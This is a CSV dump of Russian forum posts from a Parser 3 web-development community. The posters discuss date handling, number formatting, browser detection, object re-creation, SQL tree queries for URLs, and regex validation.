"82750","Есть ли способ получить такую строку иначе как распаршивая sql-формат now (yyyy-mm-dd hh:mm:ss)?"
"82751","Версия 3.4.4 умеет парсить такие даты через date::create и форматировать через date.iso-string."
"82752","Ну то есть, если всё остальное на 3.4.3 хорошо работает, а из нового нужна пока только iso-дата, - всё будет ок?\
\
Обратная совместимость обеспечена?"
"82753","Никто не сталкивался? Что-то не соображу, как обойти...\
На Апаче, помнится, это решалось простым подключением модуля apache2-mpm-itk. \
\
Спасибо!"
"82754","Собираю HEAD-версию из исходников и использую в боевом режиме. Что всем и рекомендую делать. Заодно поможете разработчикам Парсера — если что-то ломается, то чинить это легче в процессе разработки, а не перед релизом. Ломается крайне редко.  :)\
\
p.s. В бете 3.4.5 реализовано расширение для date.iso-string:\
[quote]2016-03-27 23:53  moko\
\
        * src/: classes/date.C, types/pa_vdate.C, types/pa_vdate.h:\
          ^date.iso-string options $.colon(true) $.z(true) $.ms(false)\
          added (implements feature #1065)\
[/quote]"
"82755","Собственно сабж, хочу пробел между тысячными (после каждых 3 знаков) разрядами например, чтобы было так:\
\
99 288 222\
892\
1 821\
1 000 000\
\
Форматные строки вроде не умеют из коробки..."
"82756","@formatNumber."
"82758","Только, насколько помню, есть тонкость — разряды не будут отделяться для четырёхзначных чисел:\
— 1000 -> 1000;\
— 10000 -> 10 000.\
\
Если нужно иное поведение, то придётся чуть подправить код."
"82759","https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D1%81%D1%8F%D1%82%D0%B8%D1%87%D0%BD%D1%8B%D0%B9_%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%B8%D1%82%D0%B5%D0%BB%D1%8C\
\
[quote]Разделитель групп разрядов\
...\
Деление на группы, как правило, не осуществляется, если с соответствующей стороны от десятичного разделителя не больше четырёх или пяти цифр.[/quote]"
"82760","[quote]как правило[/quote]\
\
Вот именно.\
\
Если это уместно в тексте, где упоминается тысяча, то совершенно неуместно, например, в таблице, где все числа должны быть отформатированы одинаково.\
\
Лично я — за единообразие.\
Ну, а методу полезно принимать соответствующую опцию."
"82761","[code]@formatIntSpace[numb;separator]\
^while(^numb.match[(?<=\\d)(?=(?:\\d{3})+^$)]){$numb[^numb.match[(?<=\\d)(?=(?:\\d{3})+^$)][]{^if(def $separator){$separator}{ }}]}\
$result[$numb][/code]"
"82762","По вашей ссылке:\
\
[quote]Например, запись 1,546 в английской нотации обозначает одна тысяча пятьсот сорок шесть.[/quote]"
"82764","Достаточно зайти на самый их популярный social market -http://gmarket.co.kr\
и воочию в этом убедиться."
"82766","Это о чём?\
\
[b]index.html[/b]\
[code]^before[]^within[]^after[][/code]\
\
[b]auto.p[/b]\
[code]@before[]\
$rb[$request:post-body]\
$rb\
\
@within[]\
#ы\
\
@after[]\
#э[/code]\
\
[b].log[/b]\
[Mon Apr 11 15:41:39 2016] [11648] /check/: /var/www/vmoroz2/data/www/club-p.ru/check/index.html(1:2): 'MAIN' method_frame may not be overwritten with file, store it to variable instead [parser.runtime] [uri=/check/, method=GET, cl=0]"
"82767","[code]$request:post-body [/code] это файл, вы его пытаетесь вывести напрямую, что невозможно"
"82769","Что такое строка POST-запроса?"
"82770","Постом в данном случае приходит небольшой набор текстовых данных. По общей логике, мог бы быть хешем, таблицей или текстом, но чё с файлом делать-то потом. Конечная цель - хеш из name[value], конечно.\
\
P.S. Если не затруднит, потрите, пожалуйста, домен в корне)."
"82772","Это нужно в том случае, если в теле запроса приходит что-то текстовое и не закодированное как стандартная форма."
"82774","Скорее всего надо chroot правильно сделать, я как понимаю после перехода в chroot юзер становится root, но в отдельной изолированной вселенной. По этому и владельцем файлов должен быть root, но чтобы эти файлы могли править обычные смертные, скорее всего тут надо мудрить с mount и параметрами монтирования, чтобы менялся родитель файлов но как все это будет жить в реальности хз."
"82775","Просто Detect.p - парсит как я понял, по \"старинке\" и по факту  получается почти во всех вариантах - браузер \"mozilla\", тогда как реально это Chrome\
\
например, на строку вида:\
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\
\
Хочется получить хотя бы:\
BrowserName = Chrome\
\
ну и уж если кто совсем заморочился, то\
RenderingEngine = AppleWebKit\
и так далее\
\
Потому, как получение \"mozilla\"... это как бы вроде бессмысленно уже.\
\
Накопал примерно практический алгоритм, от Mozilla Dev\
https://developer.mozilla.org/en-US/docs/Browser_detection_using_the_user_agent\
\
Если никто не подкинет за недельку, то пойду каким-то таким путем..."
"82776","С трудом представляю зачем сейчас разбираться с версией браузера на сервере. Браузер должен волновать клиентскую часть и своременные JS  библиотеки с этим справляются отлично."
"82777","Да, пришел к схожим выводам. Поэкспериментировал пару дней и отказался от этой затеи в пользу старого доброго апача. В нём всё как надо на ура настраивается.\
\
P.S. Друзья, если кто-нибудь вдруг да решит подобную задачу в рамках nginx, отпишитесь, пожалуйста здесь. Спасибо! :)"
"82778","У Яндекса был Detect.\
Отключили в октябре прошлого года.\
\
Определять браузер — порочная практика.\
Верстайте кроссбраузерно, используйте media queries, чтобы ориентироваться на возможности устройства, а не на версию браузера."
"82780","[code]$somedate[2020-03-18 12:39:24]\
$someunix(^somedate.unix-timestamp[])[/code]\
[b]/auto.p(4206:25): 'unix-timestamp' string method not found [parser.runtime] [uri=/profile/, method=GET, cl=0][/b]\
\
Какой-то формат вставить в промежуток?\
\
3.4.3, есличо."
"82782","Это понятно, а как быть? Я забираю ячейку из БД, выбор неширок - забираю в строку, не в переменную же :). Точнее, вообще автоматом отдаю содержимое бд-хеша в свой класс.\
\
^adstatus[...;$hashfromsql.end;...]\
\
@adstatus[type;start;end;watched;clicked]\
\
Как из строки (это же строка? ячейка по типу таймстемповая) $end, содержащей только SQL-дату, получить объект, подходящий для преобразований?"
"82783","Любой объект создается через конструктор."
"82784","Мне кажется самое лучшее - это взять и прочитать документацию, благо она небольшая. Когда то когда я начинал с парсером - я ее распечатал и прочел, как книгу. Очень помогает"
"82785","Нужен скрипт, который будет встроен в админку для создания текстовых страниц по шаблону с подстановкой названия города (услуга +город)\
skype: derek169930"
"82786","Все детали долго объяснять, но в целом это связано с выбранной стратегией покрытия браузеров:\
решил, что пора выпилить все эти недо-полифилы, недо-фреймворки от bootstrap'a до pure-css - все они кривые все равно, и не работают на 100%\
\
JS - методика не канает, практически на всех \"турбо/мобильных\" режимах, все эти полифилы и graceful-деградации типа html5shiv либо тормозят либо вовсе превращают ренденр в кирпич.\
\
Причина - одна (из), индустрия за время отстутсвия нормальной блочной модели - выжила на уродстве плавающих div'ов, и как-то уже пообвыкла, но все они хромоногие по природе. \
\
С приходом flexbox-модели, блочная верстка теперь может быть однозначно предсказуемой и нативной. А -вендорными селекторами покрывает даже более 40-60% браузеров. \
\
Таким образом, имеет смысл делать два шаблона: \
1) Edge (pre-edge) = HTML5 + Responsive (media queries, etc)\
2) Legacy  = html5 doctype, но div'ы с display:table, table-cell\
\
Desktop Legacy-шаблон на div'ах, но без float и без inline-block в каркасных местах верстки, а банально на display:table, table-cell, что надежно и гарантировано даже на утюге, а Mobile Legacy-устройствам показывать media queries бесполезно, поэтому мы просто подсовываем им css, где нет display:table, и все div'ы просто складываются в плоские последовательные div'ы с контентом.\
\
Поэтому сами версии и субверсии браузеров конечно не нужны, но нужна отсечка в выбранной мной границе Legacy/Edge - мол не хотите flexbox, welcome to css:table - зато легко поддерживать, и справедливо и время работает в пользу этого. Ну и плюс мобильная версия может не только css другой подсунуть (опять же есть старый @media handheld, но опять же не тестилось, как это сейчас работает вообще)\
\
Плюс опять же всякие Opera Mobile или UС Web в \"турбо режиме\", не умеют корректный js, а хочется железное унифицированное решение.\
\
Edge-решения, тоже хвалятся своим респонзивом - по факту, бери какой-нить новомодный Polymer 1.0 (WebComponents) от Google, который уже ко-ко-ко production recommended! И он банально \"закирпичится\" на вполне актуальном iPhone, и актуальном Android'e\
\
Ну и плюс разные плагин-платформы у Chrome, Opera, Firefox, IE.\
\
\
\
P.S.:\
А в целом, да, бардак в индустрии. Хочется, чтобы браузер побольше говорил о себе в HTTP_ACCEPT и USER_AGENT.\
В первом, сейчас хотя бы можно выцепить image/webp и с гарантией предлжить webp-картинки взамен .jpg/.png. \
\
А во втором, хотелось бы не версии браузеров, а версии HTML, - т.е. например для всех новых фич, ввести линейную шкалу, и к примеру HTML 5.0.2718271 = означает что уже поддерживает вот такое-то свойство CSS3, но не поддерживает еще вот такое. Т.е. по caniuse.com, можно было бы четко выбрать отсечку вашего сайта где у вас Edge, а где Legacy\
\
А не накатывать полифилы с костылями."
"82788","Я её читал, и перечитывал, и с \"уроков\" начинал нет N назад... и сейчас начал с FM и с поиска, и каждый раз не при первом чихе пишу вовсе. Честно.\
\
Однако, практика показывает, что её хорошо разве что авторам языка перечитывать. Вон Sumo отвечает хорошим русским языком: \"Любой объект создается через конструктор\" - и приводит пример. Порстая фраза. [b]Всё,[/b] достаточно! А теперь попробуйте чисто ради фана найти в мануале а) такую фразу по ключевым словам через Ctrl+F или поиск, и б) [i]оттуда[/i] - список классов объекта, содержащий вариант date.\
\
Есть ещё проблема, например, такая, которую я придерживаю уже несколько лет, обхожу стороной. В некоторых случаях хеш внутри коннекта не забирает поля, хотя база выдаёт ровно одну строку. Приходится ради этой одной строки второпях забирать не хеш, а таблицу, потом перебирать её строку и разбирать в стринги. Вот ^hash:: нет, а ^table:: да, и всё тут; меняешь одно на другое - и ок, заработало, хотя даже limit прописан, дело не в выдаче базы точно. [i]Предложите маршрут[/i] по документации, когда проблема вот, отслеживается лишь как пустота в дальнейшем SQL-запросе, скажем (where `id` = '' под видом = '$previous.field'), не решается и предварительным загоном $previous.field в отдельную строку, и пара часов потрачена? Заменил хеш на тейбл, перебрал - и ок. А куда мануал курить в этом конкретном случае?\
\
Было бы здорово, если бы в разделах доков появились (возможно, силами не авторов языка, а людей, описанных на главной странице \"парсера\") чеклисты по возможным проблемам. If-then: если хеш оказывается пустым, хотя с sql всё ок, проверь это и это.\
\
И совсем было бы круто, если бы однажды лог начал выдавать цитаты места, о которое он споткнулся. Не if method of main accepts maximum 3 parameters с отсылкой на начало ифа, а цитатой - незаптиченную точку с запятой, единственную в огромном коде внутри этого ифа, о которую он споткнулся. И так везде: не SQL outside of connect, а sql \"select `a` from `b` where `c` = '$d'\" outside of connect."
"82789","Конкретно по вашей ошибке маршрут же очень простой\
[quote]'unix-timestamp' string method not found[/quote] четко говорит что у строки нет метода \"unix-timestamp\", а значит метод вы пытаетесь применить к строке а не к объекту date у которого этот метод есть. Осталось почитать как создается объект date (::create[], ::now[] и т.п.).\
\
Про хеш и таблицу нужен код с тестовым примером, потому что это либо баг, либо вы что-то не так делаете."
"82790","[quote]Было бы здорово, если бы в разделах доков появились (возможно, силами не авторов языка, а людей, описанных на главной странице \"парсера\") чеклисты по возможным проблемам. If-then: если хеш оказывается пустым, хотя с sql всё ок, проверь это и это.[/quote]\
\
Такие рекомендации очень легко дать:\
«если у вас пустой хеш, проверьте как вы его заполняете».\
\
Толку от таких рекомендаций будет примерно столько же сколько от рекомендации проверить «включён ли прибор» при проблеме «прибор не работает».\
\
\
Описываемая вами ситуация пустого хеша при однострочном результате маловероятна.\
Будь это ошибка, на неё бы наверняка наткнулись.\
\
Вместо страданий и обходов сделайте bug.html — минимальный кусок кода, воспроизводящий проблему.\
Либо решите её в процессе подготовки такого куска, найдя ошибку у себя, либо поможете всем, найдя ошибку в Парсере."
"82791","[i]> четко говорит что у строки нет метода \"unix-timestamp\"[/i]\
\
Не-а, он говорит, что строковой [b]метод не найден[/b] :). Я, честногря, сначала понял лог как несоответствие версий документации и моего парсера :). Метод, который только что из документации скопипащен, не найден.\
\
Наверное, в порядке улучшайзинга было бы лучше в таких случаях проверять существование идентичного метода для других объектов и, если да, писать что-нибудь вроде N method unappliable to string/date/etc."
"82792","Может просто поменять текст ошибки на более однозначный 'unix-timestamp' method not found in class 'string'?"
"82793","Имхо, если уж менять, то убирать слово found потому что оно только сбивает с толку. Кто, где ищет метод? Типа так \
Class \"string\" haven’t method \"unix-timestamp\""
"82794","Сразу скажу - всё работает. Но пугает! :) \
Хочу комментариев что на самом деле происходит и не выстрелю ли я себе в ногу?\
Не совсем понимаю, в этом хитросплетении объектов и замыканий, что на самом деле происходит или может произойти.\
\
Итак, имею в базовой модели примерно такую вложенность объектов/классов.\
код примерный и упрощен для умозрительности\
\
\
Есть общий мета-класс WebApp, от которого из MAIN создается объект-\"клиентская сессия\":\
[code]\
WebApp имеет на втором уровне вложенности 3 подкласса: \
  Environ (управляет и причесывает окружение, по сути Front-Controller)\
  Model (она же модель приложения, API, логика)\
  Controller (разруливает состояние окружения и общается с моделью, вызывая шаблоны и отдавая рендер страниц)\
    Template (класс-шаблонизатор)\
[/code]\
\
Возникают такие моменты, когда состояние, которое уже построено выше (окружением) надо перестроить, например на поздней стадии инициалиазии или работы контроллера, возникло понимание, что надо авторизовать и записать сессионную куку, однако стадия прочитки сессии уже миновала выше, по этой причине часто можно видеть, как сайт тупо делает внешний редирект или рефреш, после входа, чтобы по сути решить свои внутренние проблемы - по прочитке сессионной куки (которая на самом деле уже доступна внутри).\
\
Чтобы не делать лишних редиректов (да и вообще), я как раз в рамках внутреннего \"клиентского соединения\" - хочу либо подать сигнал пересоздать весь объект-приложение,\
либо реинициализировать (пересоздать) один из подвложенных объектов (например только Environ).\
\
\
\
[code]\
@main[]\
   $trigger(0)    ^rem{# <-- это для дебаг-эксперимента}\
\
   $MySession[^WebApp::create[\
      $.Proto[http]\
      $.Environment[internal]\
   ]]\
   ^MySession.render[]\
\
\
@CLASS\
WebApp\
\
@create[_param][locals]\
   $self.WebApp[$self]\
\
@render[][locals]\
   $self.InitParams[$self._params]\
   $self.Environ[^Environ::create[$self.WebApp]]\
   $self.Controller[^Controller::create[$self.WebApp]]\
   $self.Model[^Model::create[$self.Model]]\
   ^self.Controller.render_page[]\
\
\
\
@CLASS\
Environ\
\
@create[_parent][locals]\
   $self.WebApp[$_parent]\
\
   ^if($self.WebApp.InitParams.Proto eq 'http'){ ...blah-blah }\
\
   $self.Data[\
      $Raw[http data blah-blah]\
      $Struc[\
         $.Sess[^if($cookie:sess is hash){$cookie:sess.value}{$cookie:sess}]\
         $.Action[login]\
      ]\
   ]\
\
\
\
@CLASS\
Model\
\
@create[_parent][locals]\
   $self.WebApp[$_parent]\
\
\
@auth_sess[_sess][locals]\
$result($_sess eq '12345')\
\
\
@someapi_method[][locals]\
# ...\
\
\
\
\
\
@CLASS\
Controller\
\
@create[_parent][locals]\
   $self.WebApp[$_parent]\
   $self.Template[^Template::create[]]\
\
@render_page[][locals]\
#  reading and doing something with\
#  environment data\
\
^if(^self.WebApp.Model.AuthSess[$self.WebApp.Environ.Data.Struc.Sess]]){\
  $Template.TopBar.Status[вы авторизованы]\
}\
\
#... some procedures \
\
# --------- И ВОТ ТУТ ВАЖНЫЙ МОМЕНТ ----------------\
# сессию мы уже прочитали, и допустим она не соответствует залогиненому пользователю\
# но ниже у наш пришёл Action - на вход, где мы авторизуем, ставим сессионую куку\
\
^if($self.WebApp.Environ.Data.Struc.Action eq 'login'){\
   $cookie:sess[12345]\
}\
\
# но вместо \"доброй традиции\" отправлять на внешний редирект, мы ре-рендерим всё внутри (по сути внутренний редирект на уровне приложения, а не апача или http)\
# подкостыливаем в рамках примера, чтобы не зациклилось\
\
^if($MAIN:trigger == 0){\
   $self.WebApp.render[]\
}\
\
$MAIN:trigger(1)\
\
[/code]\
\
\
[b]Вопрос:[/b]\
\
Не вполне понятно, что происходит, ведь я методом WebApp.render[] пересоздаю заново вложенные в него объекты $Environ,$Controller,$Model, и делаю это изнутри одного из этих вложенных объектов: а именно из $Controller.\
\
Скорее меня интересует/беспокоит, чтобы старые экземпляры $Environ,$Controller,$Model - перестали существовать или доступ к ним был гарантировано потерян.\
\
Просто когда я вызываю метод родительского объекта, который пересоздает свои вложенные объекты,\
то интуитивно пугает, что следующий за этим вызовом, код ниже => $MAIN:trigger(1) - вполне себе выполняется. \
\
На каком этапе прошлые экземпляры $Controller,$Environ,$Model - умрут? \
После окончания метода ^Controller.render_page[] ? \
\
Или что происходит вообще?\
Спасибо."
"82795","Тогда уж \
Class \"string\" does not have method \"unix-timestamp\".\
\
Вообще found достаточно распространен:\
https://www.google.ru/#newwindow=1&q=method+not+found\
https://www.google.ru/#newwindow=1&q=method+not+found+php\
\
Вижу еще такой вариант встречается:\
'unix-timestamp' method is missing in class 'string'\
Еще так можно:\
'unix-timestamp' method does not exist in class 'string'\
\
Голосуем, кому что больше нравится? :)"
"82796","вы прямо сюда столько кода написали? просто тут есть откровенные синтаксические ошибки: \
[code]\
  $self.Data[\
      $Raw[http data blah-blah]\
      $Struc[\
         $.Sess[^if($cookie:sess is hash){$cookie:sess.value}{$cookie:sess}]\
         $.Action[login]\
      ]\
   ]\
[/code]\
\
или\
\
[code]\
$self.WebApp.render[]\
[/code]\
\
поэтому в реале это работать не будет.\
\
[quot]На каком этапе прошлые экземпляры $Controller,$Environ,$Model - умрут[/quot]\
\
$Controller, $Environ, $Model умрут только тогда, когда на них не останется ссылок. ссылки останутся, если вы их где-то сохранили (с вашем манерой передавать parent ваш WebApi не умрёт никогда).\
\
однако в момент очередного вызова ^WebApp.render[] (откуда он вызовется -- не имеет значения), внутренние объекты $Controller, $Environ, $Model будут созданы заново и все последующие обращение к ним по именам (а не через сохранённый где-то junction-method) будут происходить именно ко вновь созданным объектам.\
замена старого объекта новым будет происходить вот прямо в момент присваивания:\
[code]$self.Environ[^Environ::create[$self.WebApp]][/code]"
"82799","Почему-то форум залипает ч/з какое-то время и не дает редактировать и писать новые сообщения (это защита от повторной отправки?) она как-то странно работает, если так."
"82800","Заработало, теперь думаю как формировать uri.\
Тут принцип работы в последовательном извлечении детей.\
А как сделать извлечение полноценного uri (пример: /cat/page/post)\
\
Запись элементов сделал вот так:\
[code]^void:sql{\
	INSERT INTO path (anc, dsc)\
	VALUES (LAST_INSERT_ID(), LAST_INSERT_ID())\
}\
^if(def $form:catalog){\
	$level[^table::sql{\
		SELECT anc, dsc, lvl\
		FROM path\
		WHERE\
			1 = 1\
			AND anc = 0\
			AND dsc = $form:catalog\
	}]\
	$lvl($level.lvl + 1)\
	$parent[^table::sql{\
		SELECT h.dsc, h.lvl, t.anc AS pID, p.*\
		FROM path AS t\
		JOIN pages AS p ON (p.eID = t.anc)\
		LEFT JOIN path AS h ON (h.dsc = t.dsc AND h.anc > 0 AND h.lvl = 1)\
		WHERE t.dsc = $form:catalog\
		ORDER BY pID\
	}]\
	$count[^table::sql{\
		SELECT COUNT(*) AS count\
		FROM path AS t\
		JOIN pages AS p ON (p.eID = t.anc)\
		LEFT JOIN path AS h ON (h.dsc = t.dsc AND h.anc > 0 AND h.lvl = 1)\
		WHERE t.dsc = $form:catalog\
	}]\
	^void:sql{\
		INSERT INTO path (anc, dsc, lvl)\
		VALUES (0, LAST_INSERT_ID(), $lvl)\
	}\
	^if($parent){\
		$distance($count.count)\
		^parent.menu{\
			^void:sql{\
				INSERT INTO path (anc, dsc, lvl)\
				VALUES ($parent.pID, LAST_INSERT_ID(), $distance)\
			}\
			$distance($distance - 1)\
		}\
	}\
}{\
	^void:sql{\
		INSERT INTO path (anc, dsc, lvl)\
		VALUES (0, LAST_INSERT_ID(), 1)\
	}\
}[/code]"
"82801","[quote]вашем манерой передавать parent ваш WebApi не умрёт никогда[/quote]\
\
Мне так Sumo в свое время насоветовал, а может я не правильно понял :) дескать проще передать \"корень\" сразу, чем инкапсуляцию изолированно, поэтому независимо от уровня вложенности объектов - им доступен родитель.\
\
Т.е. я передаю канонического объекта-родителя и все важные методы внутри других классов, адресуются именно так ^WebApp.SubObj.SubObj.Method\
\
[quote]замена старого объекта новым будет происходить вот прямо в момент присваивания[/quote]\
\
так я не понял умрёт в момент присваивания или никогда не умрёт\
\
Что-то ответ на главный вопрос я так и не получил:\
Меня больше интерсует возникающая \"петля\", если я из метода суб-объекта зову ре-инициализацию у родительского объекта, то если объект умирает в \"момент присваивания\", то почему продолжает выполняться код у \"старого объекта\"."
"82802","[quote]Заработало, теперь думаю как формировать uri.\
Тут принцип работы в последовательном извлечении детей.\
А как сделать извлечение полноценного uri (пример: /cat/page/post)[/quote]\
\
И как вы попробовали сделать?\
Что не получилось?"
"82803","И тогда пофигу, missing, not found или просто no _____ method for the _____ class."
"82804","Так как тип исключения у массы ошибок общий — parser.runtime — для перехвата исключений кто-то может использовать комментарий исключения.\
После изменения сообщения обработка исключения поломается.\
\
Соглашусь с мнением, что лучше не трогать."
"82806","ссылка изменится\
старый объект не умрёт\
\
[code]\
$h[\
  $.o[$.a[1]]\
]\
$b[$h.o] // сохранили указатель на старый объект o где-то. потом им можно пользоваться.\
$h.o[$.a[2]] // происходит замена $h.o, все последующие обращения по имени $h.o будут происходить к новому объекту\
$b.a // 1, т.к. обращаемся к старому объекту\
$h.o.a // 2, обращаемся к новому объекту по имени\
[/code]\
\
у вас с объектами будет то-же самое. просто кусок кода, который делает $h.o[$.a[2]] у вас внутри какого-то метода (какого -- не важно)"
"82807","Но обходными путями мы не злоупотребляем!"
"82809","Есть любая строка $string. Надо определить, написано ли в ней любое четырёхзначное число (только оно) или что-то другое.\
\
Направо должны идти варианты \"4754\" и \"8722\"; налево - варианты \"5\", \"72ы1\" и \"7463 в лесу родилась ёлочка\".\
\
С какой стороны подойти к такой задаче?"
"82811","Могу только фантазировать. О преобразовании строки в число (переменную) и его дальнейшем сравнении с 999 и 10000, скажем. Но понимаю, что неудачная попытка такого преобразования - пятисотка с гарантией.\
\
Так что match, но что-то с ним не идёт.\
\
[code]$string1[1234]\
$string2[12a3]\
$string3[xxxxxxxxxxx]\
\
#$str1($string1) $str1\
#$str2($string2) $str2\
#$str3($string3) $str3\
\
#^if($string1 > 999 && $string1 < 10000){йеп1}\
#^if($string2 > 999 && $string2 < 10000){йеп2}\
#^if($string3 > 999 && $string3 < 10000){йеп3}\
\
#$abc[^string1.match[\\d,\\d,\\d,\\d]{$match.1}] $abc\
\
#^if(^string1.length[] eq 4){ы}\
\
#$int(^string3.int[]) $int\
\
#^string1.match[(\\d)]{$match.1}\
\
$s1(^string1.match[(\\d)][g]{$match.1})^if($s1 > 999 && $s1 < 10000){ура1}{не ура}\
#$s2(^string2.match[(\\d)][g]{$match.1})^if($s2 > 999 && $s2 < 10000){ура2}{не ура}\
#$s3(^string3.match[(\\d)][g]{$match.1})^if($s3 > 999 && $s3 < 10000){ура2}{не ура}[/code]"
"82812","Это примитивнейшее регулярное выражение. Купите наконец книгу Фридла и разберитесь."
"82813","Ну вообще есть таки в парсере преобразование в число, можно им воспользоваться:\
\
[code]@is4int[s]\
^if(^s.int(0) > 999 && ^s.int(0) < 10000){\
	   $result(1)\
}{\
	    $result(0)\
}\
[/code]\
Но я подозреваю, что данная задачка - частный случай какого то класса других задач, с более сложными условиями, а значит пора вовсю читать про регулярки:\
\
[code]^if(^s.match[^^\\d{4}^$]){\
	$result(1)\
}{\
	$result(0)\
}[/code]"
"82814","Вот было бы круто.\
\
[code]$string[$digit(xxxxx)][neprocess]\
^if(^process{$string} eq $bullshit){нет}{да}[/code]"
"82815","Есть сайт с \"ручной\", премодерируемой, отложенной регистрацией. Модератор смотрит заявку, говорит \"ну, проходи\", - и генерируется протопароль в четыре цифры.\
\
Пользователю пишется ура, какое счастье, вот войди, но поменяй как можно быстрее.\
\
Хочу раз в неделю проходиться по старым регистрациям, и если пользователь старше N дней и ещё не поменял - напомнить ему, что так жить не надо.\
\
(эмдэпятинг пока в туду лежит, надо сравнивать с чем угодно, а не просто по длине)"
"82816","Без них вы никакую более менее сложную валидацию не сделаете"
"82817","Эту задачу я решал бы вообще не так. Нужно просто в базе добавить флаг is_change_password, который при регистрации ставится в 0, а при изменении пароля - в единицу. Дальше тривиально.\
По вашей схеме если пользователь захочет поменять выданный вами пин-код, на свой (имеет право) - вы будете считать, что он не поменял пароль"
"82820","Пробую запросами к базе, а именно GROUP_CONCAT.\
Ниже представляю запрос.\
[code]$tree[^table::sql{\
	SELECT t.dsc, h.anc AS pID, GROUP_CONCAT(p.url ORDER BY p.eID SEPARATOR '/') AS path, p.name\
	FROM path t\
	^rem{Меняю p.eID = t.anc на p.eID = t.dsc и получаю правильный p.name, но теряю правильный результат url}\
	JOIN pages p ON (p.eID = t.anc)\
	JOIN path h ON (h.dsc = t.dsc AND h.lvl = 1)\
	^rem{Убираю WHERE t.dsc != t.anc и получаю в path все адреса в правильном порядке}\
	WHERE t.dsc != t.anc\
	GROUP BY t.dsc\
}][/code]\
\
Вопрос в следующем, что у меня в запросе не так?\
Проблема в том, что запрос приведенный выше работает, но не корректно.\
Если оставить запрос как есть, без учета комментариев к нему:\
\"path\":\"1\",\"name\":\"1\"\
\"path\":\"1/2\",\"name\":\"1\"\
\"path\":\"1/2/3\",\"name\":\"2\"\
\"path\":\"1/2/2/4\",\"name\":\"2\"\
\
Если убрать WHERE t.dsc != t.anc, то получиться:\
\"path\":\"1\",\"name\":\"1\"\
\"path\":\"1/2\",\"name\":\"1\"\
\"path\":\"1/2/3\",\"name\":\"1\"\
\"path\":\"1/2/3/4\",\"name\":\"1\"\
\"path\":\"1/2/3/4/5\",\"name\":\"1\"\
\
Если менять p.eID = t.anc на p.eID = t.dsc, результат будет:\
\"path\":\"1\",\"name\":\"1\"\
\"path\":\"2/2\",\"name\":\"2\"\
\"path\":\"3/3/3\",\"name\":\"3\"\
\"path\":\"4/4/4/4\",\"name\":\"4\"\
\"path\":\"5/5/5/5/5\",\"name\":\"5\""
"82821","В общем и целом, мне изначально понятно, что отвязывается именованная ссылка (имя объекта/переменной) от одного экземпляра класса, и назначается другому (новому).\
\
Меня больше интересовали подводные грабли \"посмертного опыта\" у старого объекта в конкретном частном случае при вот таком вкладывании объектов и при вот таком каноническом обращении.\
\
Сейчас уже \"утопталось\" в голове получше, и стало очевидно где можно поймать грабли.\
\
Решил максимально рафинировать суть.\
\
В общем, получается, такая схема\
[code]\
$MAIN\
     \\\
      $obj <App_class>\
          \\\
            $App    <self>\
              |              \
              +- $Sub(1) <Sub_class>\
              |  # который, по ходу своего выполнения просит наверх у $App,\
              |  # пересоздать себе другой, новый $Sub\
              |  # этот экземпляр продолжает жить своей жизнью, хоть и отвязывается от канонической ссылки\
              |\
              +- $Sub(2) <Sub_class>\
                 # новый экземпляр закрепленный по канонической ссылке $App.Sub\
\
[/code]\
\
\
Выводы, которые я пока сделал.\
При таком \"ребилде\" каскада вложенных объектов, по инициативе \"снизу\",\
надо осознано подойти либо к контролю дальнейшего исполнения кода в этом инициаторе.\
\
Либо понимать, что если дальше по коду встретится работа с объектами и методами по каноническому обращению\
типа [code]$App.Sub.Field[/code] - то это будет не обращение к своим полям, а обращение к полям уже нового объекта\
т.е. общение со своим \"актуальным\" двойником из своего \"мира мёртвых\". Это может быть даже каким-то осознаным действием, когда надо что-то допередать своему будущему клону... но может и породить грабли.\
\
И поэтому в местах, где должно отрабатываться только в контексте себя, надо применять обращения на уровне контекста только своего экземпляра, в рамках своего класса, для это есть просто [code]$self.Sub.Field[/code]\
\
В общем это то, что у меня \"утряслось\" пока.\
\
[i]Disclaimer:[/i] пример кода, опять же, пишу сразу в textarea (не проверял, но кажется, что именно так и будет). Одновременно, кажется еще и \"удачный\" наглядный пример, когда метод конструктора работает не только как синтаксис для создания объекта, но и повторный вызов как динамического метода.\
\
[code]\
@main[]\
  $trigger(true)\
  $session[^App_class::create[]]\
\
#----------------------------------------\
\
@CLASS\
App_class\
\
@create[]\
  $self.App[$self]\
  $self.Sub[^Sub_class::create[$self.App]]\
\
\
#----------------------------------------\
\
@CLASS\
Sub_class\
\
@create[_parent]\
  $self.App[$_parent]\
\
  $self.Random(^math:random(999))\
  $self.App.Sub.Random   ^rem{# выдаст к примеру 123  }\
\
  ^if($MAIN:trigger){\
     $MAIN:trigger(false)\
     ^self.App.create[]\
  }\
\
  $self.App.Sub.Random   ^rem{# выдаст уже 456, т.к. он обратился на самом деле к другому экземпляру  }\
  $self.Random           ^rem{# по-прежнему хранит 123 }  \
\
#----------------------------------------\
\
\
\
[/code]\
\
P.S.: И да, существует способ \"убить\" старый экземпляр $Sub(1) в данном примере?"
"82822","Если очень хочется достать готовые адреса, то я бы сделал отдельный метод, который бы возвращал пути указанных узлов:\
[code]@getURLs[pages]\
$result[^hash::sql{\
	SELECT t.page_id, GROUP_CONCAT(t.ancestor_id ORDER BY t.distance DESC SEPARATOR '/') AS url\
	FROM tree AS t\
	WHERE 1\
		AND t.page_id IN (^pages.menu{$pages.page_id}[,])\
		AND t.ancestor_id > 0\
	GROUP BY t.page_id\
}][/code]\
\
Сначала доставал бы дерево, потом адреса всех извлечённых узлов.\
\
Пихать всё в один запрос чревато: во-первых он сложный и его будет трудно читать, во-вторых каждый JOIN, да ещё через связи, множит количество обрабатываемых БД данных, которые потом просто отбрасываются.\
\
Либо, если очень хочется SQL-решения, можно использовать зависимый подзапрос:\
[code]SELECT\
	t.page_id,\
	p.ancestor_id AS parent_id,\
	(\
		SELECT GROUP_CONCAT(u.ancestor_id ORDER BY u.distance DESC SEPARATOR '/')\
		FROM tree AS u\
		WHERE 1\
			AND u.page_id = t.page_id\
			AND u.ancestor_id > 0\
	) AS url\
FROM tree AS t\
JOIN tree AS p ON (p.page_id = t.page_id AND p.distance = 1)\
WHERE t.ancestor_id = @node\
ORDER BY p.ancestor_id[/code]\
\
Однако, смысла в подобном мало, так как дерево строится рекурсивно.\
И если данные всегда извлекаются от корня (либо если известна часть пути до узла, выступающего в качестве корня), то достаточно извлечь сегмент адреса каждого узла и при выводе построить полный URL из сегментов."
